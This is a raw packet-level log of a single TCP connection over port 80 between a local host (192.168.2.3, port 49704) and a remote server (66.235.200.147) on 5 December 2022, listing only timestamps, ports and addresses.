Dec 5, 2022 06:44:36.529025078 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529045105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529062986 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529071093 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529082060 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529084921 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529100895 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529110909 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529119968 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529125929 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529138088 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529139042 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529165030 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529174089 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529175997 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529195070 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529212952 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529222012 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529236078 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529237032 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529253006 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529253960 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529273987 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529280901 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529294968 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529321909 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529360056 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529377937 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529395103 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529412031 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529421091 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529433012 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529454947 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529468060 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529483080 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529500961 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529519081 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529529095 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529536963 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529541016 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529556990 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529561043 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529576063 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529577971 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529592991 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529597044 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529617071 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529620886 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529633045 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529635906 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529655933 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529658079 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529674053 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529676914 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529691935 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529695988 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529709101 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529710054 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529733896 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529748917 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529800892 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529819012 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529836893 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529848099 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529855013 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529874086 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529875994 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529890060 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529892921 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529906034 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529912949 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529921055 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529932976 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529939890 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529952049 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529966116 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529970884 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529978991 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.529989958 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.529994965 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530009031 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530014038 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530028105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530030966 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530046940 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530062914 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530062914 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530065060 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530088902 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530103922 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530113935 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530132055 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530149937 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530155897 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530168056 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530168056 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530188084 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530188084 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530215025 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530220032 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530239105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530244112 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530256987 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530257940 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530276060 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530282021 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530292988 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530294895 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530309916 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530311108 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530329943 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530330896 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530347109 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530373096 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530421019 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530440092 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530457020 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530473948 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530483007 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530493021 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530509949 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530514002 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530527115 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530539036 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530544996 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530563116 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530570984 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530586004 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530616045 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530621052 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530639887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530657053 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530673027 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530682087 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530690908 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530709028 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530713081 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530726910 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530735970 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530745983 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530762911 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530762911 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530782938 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530791044 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530800104 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530818939 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530818939 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530836105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530846119 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530870914 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530898094 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530917883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530935049 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530951023 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530963898 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530967951 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530977011 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.530987024 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.530996084 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531003952 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531012058 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531023026 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531032085 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531040907 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531047106 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531059027 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531070948 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531085968 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531094074 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531095982 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531111956 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531128883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531146049 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531155109 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531164885 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531179905 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531182051 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531199932 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531209946 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531218052 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531235933 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531264067 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531290054 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531306982 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531326056 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531342030 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531351089 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531358004 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531363964 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531377077 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531393051 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531397104 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531408072 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531411886 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531425953 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531431913 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531440973 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531450033 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531456947 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531472921 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531474113 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531491995 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531496048 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531518936 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531528950 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531547070 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531553984 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531565905 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531568050 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531584024 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531585932 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531599045 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531618118 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531652927 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531652927 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531667948 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531672001 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531692982 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531706095 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531712055 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531732082 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531737089 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531750917 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531764030 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531769991 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531793118 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531793118 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531805992 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531816006 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531835079 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531838894 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531853914 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531856060 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531871080 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531873941 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531891108 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531894922 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531914949 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531924009 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531934023 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531940937 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531954050 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531965017 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531972885 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531976938 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.531991959 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.531995058 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532015085 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532023907 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532035112 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532052994 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532067060 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532072067 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532078981 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532095909 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532113075 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532113075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532133102 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532140970 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532152891 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532167912 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532171011 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532181978 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532191038 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532202005 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532210112 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532218933 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532227993 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532238007 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532247066 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532252073 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532265902 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532283068 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532286882 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532304049 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532311916 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532324076 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532339096 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532341957 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532361031 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532370090 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532380104 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532397032 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532397032 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532428980 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532435894 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532454967 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532457113 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532474995 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532481909 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532493114 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532509089 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532511950 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532521963 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532530069 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532535076 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532547951 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532557964 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532563925 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532571077 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532582998 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532592058 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532603025 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532608986 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532624006 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532624960 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532644987 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532651901 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532663107 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532666922 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532679081 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532684088 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532697916 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532704115 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532722950 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532726049 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532742023 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532761097 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532762051 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532792091 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532802105 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532809019 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532825947 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532829046 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.532844067 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532860041 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532876015 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532891989 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532910109 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532926083 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532943010 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532959938 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532977104 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.532993078 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533010006 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533015966 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.533027887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533044100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533061981 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.533078909 CET	80	49704	66.235.200.147	192.168.2.3
